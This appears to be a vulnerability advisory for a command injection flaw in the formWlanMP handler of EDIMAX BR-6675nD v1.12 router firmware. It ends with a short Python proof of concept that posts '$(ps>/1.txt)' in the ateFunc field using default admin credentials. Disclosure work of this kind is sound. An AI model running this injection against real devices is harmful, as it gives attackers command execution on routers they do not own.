Overview

Affected version

BR-6675nD v1.12

Vulnerability details

The EDIMAX BR-6675nD v1.12 firmware has a command injection vulnerability in the formWlanMP function. The variablesVar/v14/v15/v16/v17/v18/v19/v20/v21/v22/v23/v24/v25/v26/v27/v28/v29/v30/v31/v32/v33/v34/v2/v3/v4/v5/v6/v7/v8/v9 receive the ateFunc/ateGain/ateRate/ateChan/ateTxCount/e2pTx2Power1/e2pTx2Power2/e2pTx2Power3/e2pTx2Power4/e2pTx2Power5/e2pTx2Power6/e2pTx2Power7/e2pTxPower1/e2pTxPower2/e2pTxPower3/e2pTxPower4/e2pTxPower5/e2pTxPower6/e2pTxPower7/ateTxFreqOffset/ateMode/ateMacID/ateBW/ateAntenna/e2pTxFreqOffset/e2pTxPwDeltaB/e2pTxPwDeltaG/e2pTxPwDeltaMix/readE2P/e2pTxPwDeltaN parameters parameters from a POST request. However, since the user can control the input of these variables, the statement system() can cause a command injection.

image.png

image.png

image.png

POC

import requests

ip = "192.168.2.1"

payload = "$(ps>/1.txt)"
data = {"ateFunc": payload}
url = f'http://{ip}/goform/formWlanMP'

res = requests.post(url=url, data=data, auth=("admin", "1234"), verify=False)
print(res)

image.png